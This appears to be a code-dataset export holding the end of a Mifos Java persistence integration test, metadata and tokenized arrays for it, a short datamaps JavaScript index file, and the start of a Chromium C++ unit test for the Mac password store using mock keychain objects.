Assert.assertEquals(1, customerPersistence.getAllClosedAccount(client.getCustomerId(),
AccountTypes.SAVINGS_ACCOUNT.getValue()).size());
}
public void testGetAllClosedAccountsWhenNoAccountsClosed() throws Exception {
getCustomer();
Assert.assertEquals(0, customerPersistence.getAllClosedAccount(client.getCustomerId(),
AccountTypes.LOAN_ACCOUNT.getValue()).size());
Assert.assertEquals(0, customerPersistence.getAllClosedAccount(group.getCustomerId(),
AccountTypes.LOAN_ACCOUNT.getValue()).size());
Assert.assertEquals(0, customerPersistence.getAllClosedAccount(client.getCustomerId(),
AccountTypes.SAVINGS_ACCOUNT.getValue()).size());
}
public void testGetLOForCustomer() throws PersistenceException {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
Short LO = customerPersistence.getLoanOfficerForCustomer(center.getCustomerId());
Assert.assertEquals(center.getPersonnel().getPersonnelId(), LO);
}
public void testUpdateLOsForAllChildren() {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
Assert.assertEquals(center.getPersonnel().getPersonnelId(), group.getPersonnel().getPersonnelId());
Assert.assertEquals(center.getPersonnel().getPersonnelId(), client.getPersonnel().getPersonnelId());
StaticHibernateUtil.startTransaction();
PersonnelBO newLO = TestObjectFactory.getPersonnel(Short.valueOf("2"));
new CustomerPersistence().updateLOsForAllChildren(newLO.getPersonnelId(), center.getSearchId(), center
.getOffice().getOfficeId());
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
center = TestObjectFactory.getCenter(center.getCustomerId());
group = TestObjectFactory.getGroup(group.getCustomerId());
client = TestObjectFactory.getClient(client.getCustomerId());
Assert.assertEquals(newLO.getPersonnelId(), group.getPersonnel().getPersonnelId());
Assert.assertEquals(newLO.getPersonnelId(), client.getPersonnel().getPersonnelId());
}
public void testUpdateLOsForAllChildrenAccounts() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
Assert.assertEquals(center.getPersonnel().getPersonnelId(), group.getPersonnel().getPersonnelId());
Assert.assertEquals(center.getPersonnel().getPersonnelId(), client.getPersonnel().getPersonnelId());
StaticHibernateUtil.startTransaction();
PersonnelBO newLO = TestObjectFactory.getPersonnel(Short.valueOf("2"));
new CustomerPersistence().updateLOsForAllChildrenAccounts(newLO.getPersonnelId(), center.getSearchId(), center
.getOffice().getOfficeId());
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
client = TestObjectFactory.getClient(client.getCustomerId());
for (AccountBO account : client.getAccounts()) {
Assert.assertEquals(newLO.getPersonnelId(), account.getPersonnel().getPersonnelId());
}
}
public void testCustomerDeleteMeeting() throws Exception {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
client = TestObjectFactory.createClient("myClient", meeting, CustomerStatus.CLIENT_PENDING);
StaticHibernateUtil.closeSession();
client = TestObjectFactory.getClient(client.getCustomerId());
customerPersistence.deleteCustomerMeeting(client);
CustomerBOTestUtils.setCustomerMeeting(client, null);
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
client = TestObjectFactory.getClient(client.getCustomerId());
Assert.assertNull(client.getCustomerMeeting());
}
public void testDeleteMeeting() throws Exception {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
StaticHibernateUtil.closeSession();
meeting = new MeetingPersistence().getMeeting(meeting.getMeetingId());
customerPersistence.deleteMeeting(meeting);
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
meeting = new MeetingPersistence().getMeeting(meeting.getMeetingId());
Assert.assertNull(meeting);
}
public void testSearchWithOfficeId() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().search("C", Short.valueOf("3"), Short.valueOf("1"), Short
.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(2, queryResult.getSize());
Assert.assertEquals(2, queryResult.get(0, 10).size());
}
public void testSearchWithoutOfficeId() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().search("C", Short.valueOf("0"), Short.valueOf("1"), Short
.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(2, queryResult.getSize());
Assert.assertEquals(2, queryResult.get(0, 10).size());
}
public void testSearchWithGlobalNo() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().search(group.getGlobalCustNum(), Short.valueOf("3"), Short
.valueOf("1"), Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
Assert.assertEquals(1, queryResult.get(0, 10).size());
}
public void testSearchWithGovernmentId() throws Exception {
createCustomersWithGovernmentId(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().search("76346793216", Short.valueOf("3"), Short
.valueOf("1"), Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
Assert.assertEquals(1, queryResult.get(0, 10).size());
}
@SuppressWarnings("unchecked")
public void testSearchWithCancelLoanAccounts() throws Exception {
groupAccount = getLoanAccount();
groupAccount.changeStatus(AccountState.LOAN_CANCELLED.getValue(), AccountStateFlag.LOAN_WITHDRAW.getValue(),
"WITHDRAW LOAN ACCOUNT");
TestObjectFactory.updateObject(groupAccount);
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
groupAccount = TestObjectFactory.getObject(LoanBO.class, groupAccount.getAccountId());
center = TestObjectFactory.getCustomer(center.getCustomerId());
group = TestObjectFactory.getCustomer(group.getCustomerId());
QueryResult queryResult = new CustomerPersistence().search(group.getGlobalCustNum(), Short.valueOf("3"), Short
.valueOf("1"), Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
List results = queryResult.get(0, 10);
Assert.assertEquals(1, results.size());
CustomerSearch customerSearch = (CustomerSearch) results.get(0);
Assert.assertEquals(0, customerSearch.getLoanGlobalAccountNum().size());
}
public void testSearchWithAccountGlobalNo() throws Exception {
getCustomer();
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().search(groupAccount.getGlobalAccountNum(), Short
.valueOf("3"), Short.valueOf("1"), Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
Assert.assertEquals(1, queryResult.get(0, 10).size());
}
public void testSearchGropAndClient() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().searchGroupClient("C", Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
Assert.assertEquals(1, queryResult.get(0, 10).size());
}
public void testSearchGropAndClientForLoNoResults() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting, Short.valueOf("3"), Short.valueOf("3"));
group = TestObjectFactory.createGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, "1234", true,
new java.util.Date(), null, null, null, Short.valueOf("3"), center);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().searchGroupClient("C", Short.valueOf("3"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(0, queryResult.getSize());
Assert.assertEquals(0, queryResult.get(0, 10).size());
}
public void testSearchGropAndClientForLo() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting, Short.valueOf("3"), Short.valueOf("3"));
group = TestObjectFactory.createGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, "1234", true,
new java.util.Date(), null, null, null, Short.valueOf("3"), center);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().searchGroupClient("G", Short.valueOf("3"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
Assert.assertEquals(1, queryResult.get(0, 10).size());
}
public void testSearchCustForSavings() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
QueryResult queryResult = new CustomerPersistence().searchCustForSavings("C", Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(2, queryResult.getSize());
Assert.assertEquals(2, queryResult.get(0, 10).size());
}
public void testGetCustomerAccountsForFee() throws Exception {
groupAccount = getLoanAccount();
FeeBO periodicFee = TestObjectFactory.createPeriodicAmountFee("ClientPeridoicFee", FeeCategory.CENTER, "5",
RecurrenceType.WEEKLY, Short.valueOf("1"));
AccountFeesEntity accountFee = new AccountFeesEntity(center.getCustomerAccount(), periodicFee,
((AmountFeeBO) periodicFee).getFeeAmount().getAmountDoubleValue());
CustomerAccountBO customerAccount = center.getCustomerAccount();
AccountTestUtils.addAccountFees(accountFee, customerAccount);
TestObjectFactory.updateObject(customerAccount);
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
// check for the account fee
List<AccountBO> accountList = new CustomerPersistence().getCustomerAccountsForFee(periodicFee.getFeeId());
Assert.assertNotNull(accountList);
Assert.assertEquals(1, accountList.size());
Assert.assertTrue(accountList.get(0) instanceof CustomerAccountBO);
// get all objects again
groupAccount = TestObjectFactory.getObject(LoanBO.class, groupAccount.getAccountId());
group = TestObjectFactory.getCustomer(group.getCustomerId());
center = TestObjectFactory.getCustomer(center.getCustomerId());
}
public void testRetrieveCustomerAccountActionDetails() throws Exception {
center = createCenter();
Assert.assertNotNull(center.getCustomerAccount());
List<AccountActionDateEntity> actionDates = new CustomerPersistence().retrieveCustomerAccountActionDetails(
center.getCustomerAccount().getAccountId(), new java.sql.Date(System.currentTimeMillis()));
Assert.assertEquals("The size of the due insallments is ", actionDates.size(), 1);
}
public void testGetActiveCentersUnderUser() throws Exception {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("center", meeting, Short.valueOf("1"), Short.valueOf("1"));
PersonnelBO personnel = TestObjectFactory.getPersonnel(Short.valueOf("1"));
List<CustomerBO> customers = new CustomerPersistence().getActiveCentersUnderUser(personnel);
Assert.assertNotNull(customers);
Assert.assertEquals(1, customers.size());
}
public void testgetGroupsUnderUser() throws Exception {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("center", meeting, Short.valueOf("1"), Short.valueOf("1"));
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
group2 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group33", CustomerStatus.GROUP_CANCELLED, center);
PersonnelBO personnel = TestObjectFactory.getPersonnel(Short.valueOf("1"));
List<CustomerBO> customers = new CustomerPersistence().getGroupsUnderUser(personnel);
Assert.assertNotNull(customers);
Assert.assertEquals(1, customers.size());
}
@SuppressWarnings("unchecked")
public void testSearchForActiveInBadStandingLoanAccount() throws Exception {
groupAccount = getLoanAccount();
groupAccount.changeStatus(AccountState.LOAN_ACTIVE_IN_BAD_STANDING.getValue(), null, "Changing to badStanding");
TestObjectFactory.updateObject(groupAccount);
StaticHibernateUtil.closeSession();
groupAccount = TestObjectFactory.getObject(LoanBO.class, groupAccount.getAccountId());
center = TestObjectFactory.getCustomer(center.getCustomerId());
group = TestObjectFactory.getCustomer(group.getCustomerId());
QueryResult queryResult = new CustomerPersistence().search(group.getGlobalCustNum(), Short.valueOf("3"), Short
.valueOf("1"), Short.valueOf("1"));
Assert.assertNotNull(queryResult);
Assert.assertEquals(1, queryResult.getSize());
List results = queryResult.get(0, 10);
Assert.assertEquals(1, results.size());
CustomerSearch customerSearch = (CustomerSearch) results.get(0);
Assert.assertEquals(1, customerSearch.getLoanGlobalAccountNum().size());
}
public void testGetCustomersByLevelId() throws Exception {
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
StaticHibernateUtil.commitTransaction();
List<CustomerBO> client = new CustomerPersistence().getCustomersByLevelId(Short.parseShort("1"));
Assert.assertNotNull(client);
Assert.assertEquals(1, client.size());
List<CustomerBO> group = new CustomerPersistence().getCustomersByLevelId(Short.parseShort("2"));
Assert.assertNotNull(group);
Assert.assertEquals(1, group.size());
List<CustomerBO> center = new CustomerPersistence().getCustomersByLevelId(Short.parseShort("3"));
Assert.assertNotNull(center);
Assert.assertEquals(1, center.size());
}
public void testFindCustomerWithNoAssocationsLoadedReturnsActiveCenter() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
verifyCustomerLoaded(center.getCustomerId(), center.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedDoesntReturnInactiveCenter() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Inactive Center", meeting);
center.changeStatus(CustomerStatus.CENTER_INACTIVE, CustomerStatusFlag.GROUP_CANCEL_BLACKLISTED, "Made Inactive");
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
center = (CenterBO) StaticHibernateUtil.getSessionTL().get(CenterBO.class, center.getCustomerId());
verifyCustomerNotLoaded(center.getCustomerId(), center.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedReturnsActiveGroup() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Active Group", CustomerStatus.GROUP_ACTIVE,
center);
verifyCustomerLoaded(group.getCustomerId(), group.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedReturnsHoldGroup() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Hold Group", CustomerStatus.GROUP_HOLD,
center);
verifyCustomerLoaded(group.getCustomerId(), group.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedDoesntReturnClosedGroup() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Closed Group", CustomerStatus.GROUP_CLOSED,
center);
verifyCustomerNotLoaded(group.getCustomerId(), group.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedReturnsActiveClient() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Active Group", CustomerStatus.GROUP_ACTIVE,
center);
client = TestObjectFactory.createClient("Active Client", CustomerStatus.CLIENT_ACTIVE, group);
verifyCustomerLoaded(client.getCustomerId(), client.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedReturnsHoldClient() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Active Group", CustomerStatus.GROUP_ACTIVE,
center);
client = TestObjectFactory.createClient("Hold Client", CustomerStatus.CLIENT_HOLD, group);
verifyCustomerLoaded(client.getCustomerId(), client.getDisplayName());
}
public void testFindCustomerWithNoAssocationsLoadedDoesntReturnClosedClient() throws Exception {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY,
EVERY_WEEK, CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Active Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Active Group", CustomerStatus.GROUP_ACTIVE,
center);
client = TestObjectFactory.createClient("Closed Client", CustomerStatus.CLIENT_CLOSED, group);
verifyCustomerNotLoaded(client.getCustomerId(), client.getDisplayName());
}
private void verifyCustomerLoaded(Integer customerId, String customerName) {
CollectionSheetCustomerDto collectionSheetCustomerDto = customerPersistence
.findCustomerWithNoAssocationsLoaded(customerId);
Assert.assertNotNull(customerName + " was not returned", collectionSheetCustomerDto);
Assert.assertEquals(collectionSheetCustomerDto.getCustomerId(), customerId);
}
private void verifyCustomerNotLoaded(Integer customerId, String customerName) {
CollectionSheetCustomerDto collectionSheetCustomerDto = customerPersistence
.findCustomerWithNoAssocationsLoaded(customerId);
Assert.assertNull(customerName + " was returned", collectionSheetCustomerDto);
}
private AccountBO getSavingsAccount(final CustomerBO customer, final String prdOfferingname, final String shortName)
throws Exception {
Date startDate = new Date(System.currentTimeMillis());
SavingsOfferingBO savingsOffering = TestObjectFactory.createSavingsProduct(prdOfferingname, shortName,
startDate, RecommendedAmountUnit.COMPLETE_GROUP);
return TestObjectFactory.createSavingsAccount("432434", customer, Short.valueOf("16"), startDate,
savingsOffering);
}
private void getCustomer() throws Exception {
Date startDate = new Date(System.currentTimeMillis());
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("Client", CustomerStatus.CLIENT_ACTIVE, group);
LoanOfferingBO loanOffering1 = TestObjectFactory.createLoanOffering("Loanwer", "43fs", startDate, meeting);
LoanOfferingBO loanOffering2 = TestObjectFactory.createLoanOffering("Loancd123", "vfr", startDate, meeting);
groupAccount = TestObjectFactory.createLoanAccount("42423142341", group,
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING, startDate, loanOffering1);
clientAccount = TestObjectFactory.createLoanAccount("3243", client, AccountState.LOAN_ACTIVE_IN_GOOD_STANDING,
startDate, loanOffering2);
MeetingBO meetingIntCalc = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
MeetingBO meetingIntPost = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
SavingsOfferingBO savingsOffering = TestObjectFactory.createSavingsProduct("SavingPrd12", "abc1", startDate,
RecommendedAmountUnit.COMPLETE_GROUP, meetingIntCalc, meetingIntPost);
SavingsOfferingBO savingsOffering1 = TestObjectFactory.createSavingsProduct("SavingPrd11", "abc2", startDate,
RecommendedAmountUnit.COMPLETE_GROUP, meetingIntCalc, meetingIntPost);
centerSavingsAccount = TestObjectFactory.createSavingsAccount("432434", center, Short.valueOf("16"), startDate,
savingsOffering);
clientSavingsAccount = TestObjectFactory.createSavingsAccount("432434", client, Short.valueOf("16"), startDate,
savingsOffering1);
}
private void createCustomers(final CustomerStatus groupStatus, final CustomerStatus clientStatus) {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", groupStatus, center);
client = TestObjectFactory.createClient("Client", clientStatus, group);
}
private void createCustomersWithGovernmentId(final CustomerStatus groupStatus, final CustomerStatus clientStatus) {
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", groupStatus, center);
client = TestObjectFactory.createClient("Client", clientStatus, group, TestObjectFactory.getFees(), "76346793216", new java.util.Date(1222333444000L));
}
private static java.util.Date getMeetingDates(final MeetingBO meeting) {
List<java.util.Date> dates = new ArrayList<java.util.Date>();
try {
dates = meeting.getAllDates(new java.util.Date(System.currentTimeMillis()));
} catch (MeetingException e) {
e.printStackTrace();
}
return dates.get(dates.size() - 1);
}
private CenterBO createCenter() {
return createCenter("Center_Active_test");
}
private CenterBO createCenter(final String name) {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY, EVERY_WEEK,
CUSTOMER_MEETING));
return TestObjectFactory.createWeeklyFeeCenter(name, meeting);
}
private LoanBO getLoanAccount() {
Date startDate = new Date(System.currentTimeMillis());
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY, EVERY_WEEK,
CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
LoanOfferingBO loanOffering = TestObjectFactory.createLoanOffering(startDate, meeting);
return TestObjectFactory.createLoanAccount("42423142341", group, AccountState.LOAN_ACTIVE_IN_GOOD_STANDING,
startDate, loanOffering);
}
private AccountBO getLoanAccount(final CustomerBO group, final MeetingBO meeting, final String offeringName,
final String shortName) {
Date startDate = new Date(System.currentTimeMillis());
LoanOfferingBO loanOffering = TestObjectFactory.createLoanOffering(offeringName, shortName, startDate, meeting);
return TestObjectFactory.createLoanAccount("42423142341", group, AccountState.LOAN_ACTIVE_IN_GOOD_STANDING,
startDate, loanOffering);
}
private AccountBO getLoanAccount(final CustomerBO group, final MeetingBO meeting, final String offeringName,
final String shortName, MifosCurrency currency) {
Date startDate = new Date(System.currentTimeMillis());
LoanOfferingBO loanOffering = TestObjectFactory.createLoanOffering(offeringName, shortName, startDate, meeting, currency);
return TestObjectFactory.createLoanAccount("42423142341", group, AccountState.LOAN_ACTIVE_IN_GOOD_STANDING,
startDate, loanOffering);
}
private AccountBO getLoanAccountInActiveBadStanding(final CustomerBO group, final MeetingBO meeting,
final String offeringName, final String shortName) {
Date startDate = new Date(System.currentTimeMillis());
LoanOfferingBO loanOffering = TestObjectFactory.createLoanOffering(offeringName, shortName, startDate, meeting);
return TestObjectFactory.createLoanAccount("42423141111", group, AccountState.LOAN_ACTIVE_IN_BAD_STANDING,
startDate, loanOffering);
}
}
| mifos/1.5.x | application/src/test/java/org/mifos/customers/persistence/CustomerPersistenceIntegrationTest.java | Java | apache-2.0 | 73,142 | [
30522,
1013,
1008,
1008,
2035,
2916,
9235,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
2007,
1996,
6... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
export { default } from './EditData';
| caspg/datamaps.co | src/pages/Editor/pages/MapEditor/pages/EditData/index.js | JavaScript | mit | 38 | [
30522,
9167,
1063,
12398,
1065,
2013,
1005,
1012,
1013,
10086,
2850,
2696,
1005,
1025,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/password_manager/password_store_mac.h"
#include "base/basictypes.h"
#include "base/files/scoped_temp_dir.h"
#include "base/scoped_observer.h"
#include "base/stl_util.h"
#include "base/strings/string_util.h"
#include "base/strings/utf_string_conversions.h"
#include "base/synchronization/waitable_event.h"
#include "base/test/histogram_tester.h"
#include "base/thread_task_runner_handle.h"
#include "chrome/browser/password_manager/password_store_mac_internal.h"
#include "chrome/common/chrome_paths.h"
#include "components/os_crypt/os_crypt.h"
#include "components/password_manager/core/browser/login_database.h"
#include "components/password_manager/core/browser/password_manager_test_utils.h"
#include "components/password_manager/core/browser/password_store_consumer.h"
#include "content/public/test/test_browser_thread.h"
#include "content/public/test/test_utils.h"
#include "crypto/mock_apple_keychain.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
using autofill::PasswordForm;
using base::ASCIIToUTF16;
using base::WideToUTF16;
using content::BrowserThread;
using crypto::MockAppleKeychain;
using internal_keychain_helpers::FormsMatchForMerge;
using internal_keychain_helpers::STRICT_FORM_MATCH;
using password_manager::CreatePasswordFormFromDataForTesting;
using password_manager::LoginDatabase;
using password_manager::PasswordFormData;
using password_manager::PasswordStore;
using password_manager::PasswordStoreChange;
using password_manager::PasswordStoreChangeList;
using password_manager::PasswordStoreConsumer;
using testing::_;
using testing::DoAll;
using testing::Invoke;
using testing::IsEmpty;
using testing::SizeIs;
using testing::WithArg;
namespace {
ACTION(QuitUIMessageLoop) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
base::MessageLoop::current()->Quit();
}
// From the mock's argument #0 of type const std::vector<PasswordForm*>& takes
// the first form and copies it to the form pointed to by |target_form_ptr|.
ACTION_P(SaveACopyOfFirstForm, target_form_ptr) {
ASSERT_FALSE(arg0.empty());
*target_form_ptr = *arg0[0];
}
void Noop() {
}
class MockPasswordStoreConsumer : public PasswordStoreConsumer {
public:
MOCK_METHOD1(OnGetPasswordStoreResultsConstRef,
void(const std::vector<PasswordForm*>&));
// GMock cannot mock methods with move-only args.
void OnGetPasswordStoreResults(ScopedVector<PasswordForm> results) override {
OnGetPasswordStoreResultsConstRef(results.get());
}
};
class MockPasswordStoreObserver : public PasswordStore::Observer {
public:
MOCK_METHOD1(OnLoginsChanged,
void(const password_manager::PasswordStoreChangeList& changes));
};
// A LoginDatabase that simulates an Init() method that takes a long time.
class SlowToInitLoginDatabase : public password_manager::LoginDatabase {
public:
// Creates an instance whose Init() method will block until |event| is
// signaled. |event| must outlive |this|.
SlowToInitLoginDatabase(const base::FilePath& db_path,
base::WaitableEvent* event)
: password_manager::LoginDatabase(db_path), event_(event) {}
~SlowToInitLoginDatabase() override {}
// LoginDatabase:
bool Init() override {
event_->Wait();
return password_manager::LoginDatabase::Init();
}
private:
base::WaitableEvent* event_;
DISALLOW_COPY_AND_ASSIGN(SlowToInitLoginDatabase);
};
#pragma mark -
// Macro to simplify calling CheckFormsAgainstExpectations with a useful label.
#define CHECK_FORMS(forms, expectations, i) \
CheckFormsAgainstExpectations(forms, expectations, #forms, i)
// Ensures that the data in |forms| match |expectations|, causing test failures
// for any discrepencies.
// TODO(stuartmorgan): This is current order-dependent; ideally it shouldn't
// matter if |forms| and |expectations| are scrambled.
void CheckFormsAgainstExpectations(
const std::vector<PasswordForm*>& forms,
const std::vector<PasswordFormData*>& expectations,
const char* forms_label, unsigned int test_number) {
EXPECT_EQ(expectations.size(), forms.size()) << forms_label << " in test "
<< test_number;
